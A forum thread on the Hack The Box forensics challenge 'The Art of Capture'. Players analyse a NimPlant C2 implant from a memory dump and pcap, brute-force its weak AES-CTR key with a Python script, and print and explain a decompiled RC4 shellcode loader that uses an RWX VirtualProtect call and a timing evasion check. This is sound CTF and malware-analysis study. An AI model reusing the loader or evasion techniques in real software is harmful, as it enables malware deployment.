The Art of Capture Discussion [FORENSICS] [HINTS] [HTB]

Let’s discuss ‘The Art of Capture’. Please do not share any flags or writeups.

Anyone have a hint, please?

This is for Forensics, so I don’t think it involves advanced reverse engineering. I’ve been searching for artifacts in the process minidump and found some traces, but nothing particularly useful. Do we need to decode the intercepted API communication first? I was thinking that might be necessary, and it could help us find more information to move forward with the second part of the flag.

Is that correct?

Okay, let’s solve this challenge. It’s a hard challenge, which means we are 2-3 steps away from getting the flag. Please share your findings so others can continue from the point where you got stuck. I am starting now.

I believe this memory dump file contains the first flag and a key to decrypt the Wireshark traffic, which likely holds the second part of the flag.

WinDbg:

!peb:

  • The process that caused the exception is DbgInfo.exe.

  • The exception is 0x80000003, which is a breakpoint.

  • The fault occurred in thread 1768.

  • The stack trace shows a series of function calls, starting from ntdll!NtDelayExecution, passing through KERNELBASE!SleepEx, and then into functions in DbgInfo.exe. These indicate that the application was sleeping or waiting when the breakpoint occurred.

  • The failure is associated with the instruction at offset 0x7b298 in DbgInfo.exe.

  • There are 7 threads in the process, with thread 0 having the ID 1768.

  • Thread 4 is executing a Thread Pool Callback that is handling the safe termination of winhttp.dll resources, which could indicate a cleanup after an HTTP operation.

  • The timestamps for the modules are very strange and unusual.

  • After running strings DbgInfo.DMP > strings.txt and checking in Sublime, I found that the minidump also contains a Base64-encoded screenshot of the desktop. The only interesting finding seems to be the Windows version, which corresponds with the !analyze -v command output from WinDbg.

  • Searching through the heap in WinDbg reveals some fragments of API communication:

!address /f:heap /c:"s -a %1 %2 \"api\""
0000026b`f9a02ba9  61 70 69 2f 76 32 2f 70-69 6e 67 00 00 00 00 01  api/v2/ping.....
0000026b`f9a200c1  61 70 69 2f 76 32 2f 15-00 00 15 8d 76 00 00 e0  api/v2/.....v...
0000026b`f9a20d81  61 70 69 2f 76 32 2f 70-69 6e 67 00 00 00 00 00  api/v2/ping.....
0000026b`f9a44381  61 70 69 2f 76 32 2f 70-69 6e 67 00 74 2d 4d 44  api/v2/ping.t-MD
0000026b`f9a443a5  61 70 69 2f 76 32 2f 70-69 6e 67 20 48 54 54 50  api/v2/ping HTTP

I thought “X-Identifier: uemFPipI” could be the decryption key, but:

s -[l5]sa 0000026b`f9a44000 0000026b`f9a44fff
0000026b`f9a4437c  "tent/api/v2/ping"
0000026b`f9a4438d  "t-MD5"
0000026b`f9a44393  "Conte"
0000026b`f9a443a0  "GET /api/v2/ping HTTP/1.1"
0000026b`f9a443bb  "Connection: Keep-Alive"
0000026b`f9a443d3  "Accept: */*"
0000026b`f9a443e0  "Accept-Encoding: gzip"
0000026b`f9a443f7  "User-Agent: Mozilla/5.0 (X11; Li"
0000026b`f9a44417  "nux x86_64; rv:127.0) Gecko/2010"
0000026b`f9a44437  "0101 Firefox/127.0"
0000026b`f9a4444b  "X-Identifier: uemFPipI"
0000026b`f9a44463  "Host: 192.168.56.1:4444"
0000026b`f9a4447f  "e-Control"
0000026b`f9a44614  "LRPC-1214f9061243c046f5"

In IDA:

DbgInfo:00007FF62FC18F50 sub_7FF62FC18F50 proc near              ; CODE XREF: sub_7FF62FC4B9B0+92↓p
..
DbgInfo:00007FF62FC18F54 movups  [rsp+28h+var_18], xmm6
DbgInfo:00007FF62FC18F59 lea     rax, aBody                      ; "body"
DbgInfo:00007FF62FC18F60 mov     rcx, cs:off_7FF62FC7FB50
DbgInfo:00007FF62FC18F67 movq    xmm0, cs:off_7FF62FC7FC30
DbgInfo:00007FF62FC18F6F movq    xmm5, rax
DbgInfo:00007FF62FC18F74 lea     rax, aUrl                       ; "url"
DbgInfo:00007FF62FC18F7B movdqu  xmm2, cs:xmmword_7FF62FC61610
DbgInfo:00007FF62FC18F83 lea     rdx, aKey                       ; "key"
DbgInfo:00007FF62FC18F8A movdqu  xmm4, xmm0
DbgInfo:00007FF62FC18F8E movq    xmm1, rcx
DbgInfo:00007FF62FC18F93 mov     cs:qword_7FF62FCA0118, 0
DbgInfo:00007FF62FC289C1 add     rax, 60h ; '`'
DbgInfo:00007FF62FC289C5 mov     cs:qword_7FF62FCA0DB8, 58h ; 'X'
DbgInfo:00007FF62FC289D0 movups  cs:xmmword_7FF62FCA0E50, xmm1
DbgInfo:00007FF62FC289D7 movq    xmm1, rdx
DbgInfo:00007FF62FC289DC add     rdx, 0C0h
DbgInfo:00007FF62FC289E3 punpcklqdq xmm1, xmm5
DbgInfo:00007FF62FC289E7 movq    xmm5, rax
DbgInfo:00007FF62FC289EC lea     rax, aUseragent                 ; "userAgent"
DbgInfo:00007FF62FC289F3 mov     cs:byte_7FF62FCA0DE0, 1
..
DbgInfo:00007FF62FC28A4A movq    xmm1, rcx
DbgInfo:00007FF62FC28A4F punpcklqdq xmm1, xmm4
DbgInfo:00007FF62FC28A53 mov     cs:off_7FF62FCA0EB0, rax
DbgInfo:00007FF62FC28A5A lea     rax, aCryptkey                  ; "cryptKey"
DbgInfo:00007FF62FC28A61 movups  cs:xmmword_7FF62FCA0E90, xmm1
DbgInfo:00007FF62FC28A68 movq    xmm1, rdx
DbgInfo:00007FF62FC28A6D movq    xmm3, rax
DbgInfo:00007FF62FC28A72 lea     rax, xmmword_7FF62FCA0E40
..
DbgInfo:00007FF62FC28B0B retn
DbgInfo:00007FF62FC28B0B sub_7FF62FC286D0 endp

However, it didn’t work with any AES decryption scheme. I also tried using both values from the GET /api/v2/login call:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Server: nginx
Date: Tue, 30 Jul 2024 17:54:37 GMT

{"id":"gxksd3v7","k":"opO2j7SMi7iSsoqVh5uZpA=="}

But no luck.

I managed to find the source code of the malware on Github with this query.

0:000> !address /f:heap /c:"s -a %1 %2 \"Nim\""
0000026b`f9c45820  4e 69 6d 50 6c 61 6e 74-20 76 31 2e 32 0a 00 00  NimPlant v1.2...

I think there’s a weakness in the AES key exchange. It’s likely that we can obtain the decryption key.

So, k is actually the AES key XOR’d with a number between 1 and 2,147,483,647. I think it’s crackable because there aren’t many possibilities at all.

The XOR key is generated like this:

Interestingly, the AES key is generated like this:

Hell yeah. It took only 0.1 seconds to recover the AES Key!

from Crypto.Cipher import AES
from Crypto.Util import Counter
import base64
import string

def xor_string(data: bytes, key: int) -> bytes:
    result = bytearray(data)
    k = key
    for i in range(len(result)):
        for f in [0, 8, 16, 24]:
            result[i] ^= ((k >> f) & 0xFF)
        k = (k + 1) & 0xFFFFFFFF
    return bytes(result)

def is_valid_key(data: bytes) -> bool:
    try:
        decoded_str = data.decode('utf-8')
        return len(decoded_str) == 16 and all(c in string.ascii_letters + string.digits for c in decoded_str)
    except UnicodeDecodeError:
        return False

def decrypt(key: bytes, enc) -> bytes:
    iv,enc = enc[:16],enc[16:]
    ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big"))
    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
    try:
        dec = cipher.decrypt(enc)
        return dec
    except ValueError:
        return None
    return None

def isPrintable(b: bytes) -> bool:
    try:
        b.decode()
        return True
    except UnicodeDecodeError:
        return False


def brute_force_key(xored_key: bytes):
    enc = "QllpQVtOWU5fRlVWXF9LQbP96KXlOv6w8Ij0NocWw43Sn2eKCKbbrdzQvEOHFeGkWwyF6HI/8mnIvJDLT7s6CNUr1PuWY3G1IAsZW/VzMmBHPeyObC/l9GfNaQoKntLhQ7jvCGg4MYrbifRwyIN3XFWRBk0S+K3StdoUOpmDsw8y"
    enc = base64.decodebytes(enc.encode())
    for key in range(2_147_483_648):  # 2^31 = 2147483648
        key = xor_string(xored_key, key)
        if is_valid_key(key):
            if not isPrintable(decrypt(key,enc) ):
                continue
            return key
    print("No valid key found.")
    return None

if __name__ == "__main__":
    xored_aes_key = base64.b64decode('opO2j7SMi7iSsoqVh5uZpA==')
    recovered_aes_key = brute_force_key(xored_aes_key)
    print("AES Key: ", recovered_aes_key)
    enc = "QllpQVtOWU5fRlVWXF9LQbP96KXlOv6w8Ij0NocWw43Sn2eKCKbbrdzQvEOHFeGkWwyF6HI/8mnIvJDLT7s6CNUr1PuWY3G1IAsZW/VzMmBHPeyObC/l9GfNaQoKntLhQ7jvCGg4MYrbifRwyIN3XFWRBk0S+K3StdoUOpmDsw8y"
    enc = base64.decodebytes(enc.encode())
    print(decrypt(recovered_aes_key, enc))
1 Like

For the first part of the flag, decrypt the screenshot and open the image. The second part of the flag is related to the shell.exe file but I couldn’t extract it yet.

For the second part of the flag, disassemble the shell binary, which serves as a shellcode loader. In the main function, the shellcode is decrypted and executed

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int ticks; // eax
  int v4; // ebx
  int v5; // ebx
  DWORD LastError; // eax
  int v7; // eax
  char *v8; // rcx
  unsigned __int8 v9; // r8
  char *v10; // r10
  int v11; // r9d
  char v12; // r11
  unsigned __int8 v13; // di
  __int64 i; // r11
  char v15; // r8
  char v17[264]; // [rsp+20h] [rbp-108h] BYREF
  DWORD flOldProtect; // [rsp+140h] [rbp+18h] BYREF
  __int64 v19; // [rsp+148h] [rbp+20h] BYREF

  ticks = Xtime_get_ticks();
  v19 = 5LL;
  v4 = ticks;
  sub_140001280(&v19);
  if ( (double)(int)(Xtime_get_ticks() - v4) / 10000000.0 <= 4.5 )
    exit(0);
  v5 = 0;
  flOldProtect = 0;
  if ( !VirtualProtect(qword_1400014B0, 0x2AFuLL, 0x40u, &flOldProtect) )
  {
    LastError = GetLastError();
    sub_140001030("Error: %d", LastError);
  }
  v7 = 0;
  v8 = v17;
  do
    *v8++ = v7++;
  while ( v7 < 256 );
  v9 = 0;
  v10 = v17;
  v11 = 0;
  do
  {
    v12 = *v10;
    v9 += *v10 + aXobvreX11mb[v11++ % 0xCu];
    *v10++ = v17[v9];
    v17[v9] = v12;
  }
  while ( v11 < 256 );
  v13 = 0;
  for ( i = 0LL; i < 687; ++i )
  {
    v5 = (v5 + 1) % 256;
    v15 = v17[v5];
    v13 += v15;
    v17[v5] = v17[v13];
    v17[v13] = v15;
    *((_BYTE *)qword_1400014B0 + i) ^= v17[(unsigned __int8)(v17[v5] + v15)];
  }
  VirtualProtect(qword_1400014B0, 0x2AFuLL, flOldProtect, &flOldProtect);
  ((void (*)(void))qword_1400014B0[0])();
  return 0;
}

Here’s the full explanation of this code:

Key Components:

  1. Timing Check (Xtime_get_ticks):

    • ticks = Xtime_get_ticks(); stores the current time (probably in ticks or some high-resolution counter).
    • After calling sub_140001280(&v19);, the code checks if the time difference exceeds 4.5 seconds (if ( (double)(int)(Xtime_get_ticks() - v4) / 10000000.0 <= 4.5 )), and if not, it calls exit(0).
    • This is likely an anti-debugging mechanism to check if the code is running too slowly (which could indicate it’s being analyzed or debugged).
  2. Memory Protection (VirtualProtect):

    • VirtualProtect(qword_1400014B0, 0x2AFuLL, 0x40u, &flOldProtect) changes the memory protection of qword_1400014B0 (likely where the shellcode is stored).
    • It changes the protection to 0x40, which is PAGE_EXECUTE_READWRITE. This allows the code to modify and later execute this memory.
    • If it fails, it logs an error using GetLastError().
  3. Key Scheduling/RC4-Like Cipher Setup:

    • The block initializing v17 is an RC4-like key scheduling algorithm. It first fills v17 with values from 0 to 255.
    • Then, it mixes these values based on some key stored in aXobvreX11mb[], using an RC4-style key mixing loop:
      v9 += *v10 + aXobvreX11mb[v11++ % 0xCu];
      
    • The result is a scrambled v17 array, which is used for decryption.
  4. Shellcode Decryption:

    • The following loop decrypts the shellcode in qword_1400014B0 using a variant of the RC4 stream cipher:
      *((_BYTE *)qword_1400014B0 + i) ^= v17[(unsigned __int8)(v17[v5] + v15)];
      
    • The code iterates over the encrypted shellcode (687 bytes long) and XORs each byte with values derived from the v17 array.
    • This decrypts the shellcode, making it ready for execution.
  5. Executing Shellcode:

    • After decryption, the code restores the original memory protection with VirtualProtect.
    • Finally, it jumps to the decrypted shellcode and executes it using ((void (*)(void))qword_1400014B0[0])();.

The flag is embedded in the shellcode. Just decrypt it yourself. Get some help from ChatGPT if you get stuck creating the decryption algorithm.

An easier way to obtain the second flag is to scan memory strings after running the shell file.

1 Like

Interesting. I was focusing more on the pcap. How can I extract the screenshot? Do I need to run WinDBG?

The malware and the C2 server are actually open source. Start by inspecting how they interact with each other, such as sending and receiving data and how the encryption/decryption process works. After that, you’ll be able to decrypt the encrypted HTTP request data in the PCAP file. If you get stuck, check my previous messages. They contain all the information you need to solve this challenge.

Great job finding the C2 implant written in Nim! I’d promise I’ve seen it before. Overall, fantastic progress — thank you!

Thanks. I extracted the NimPlant exploit, and managed to get the key and the screenshot from the HTTP traffic in the pcap. Got the first half of the flag.

About the second half, I’m analyzing the binary (md5 50db988164593d15aebe519183e5a145) but it doesn’t look like to be the shellcode loader in your comment above.

You should extract a binary (2a2d1efc60c50b3040adbb37dc3442a7) from the pcap file.

Is the screenshot and key from DbgInfo.DMP?

The AES CTR key can be bruteforced or (I believe) found in the memory and screenshot is encrypted and encoded in the pcap

Due to an insecure key exchange between the C2 server and the malware, the AES CTR key can be extracted in less than 0.1 seconds using only Wireshark data. Just check my code. When you run it, it instantly recovers the key.

Thank’s … is there perhaps another hint regarding rev.exe encoding is not gzip?

'upload 37fd453cbfb4794f48283819f010a9fe rev.exe '}"
Content-Type: application/x-gzip
Content-Length: 76993
Content-Encoding: gzip
Server: nginx
Date: Tue, 30 Jul 2024 17:57:31 GMT
Jy87cmlfZGNSdmFXVCJYVA…

This is the file you need to extract. Check how file upload mechanism works internally.

You can extract it like this:

if __name__ == "__main__":
    xored_aes_key = base64.b64decode('opO2j7SMi7iSsoqVh5uZpA==')
    recovered_aes_key = brute_force_key(xored_aes_key)
    print("AES Key: ", recovered_aes_key)
    
    data ="Jy87cmlfZGNSdmFXVCJYVAfvYj2Pvf24Ac72V8EHi2Rl..." # enter base64 encoded data here

    file = zlib.decompress(decrypt(recovered_aes_key, base64.b64decode(data)))
    
    open("shell.exe", "wb").write(file)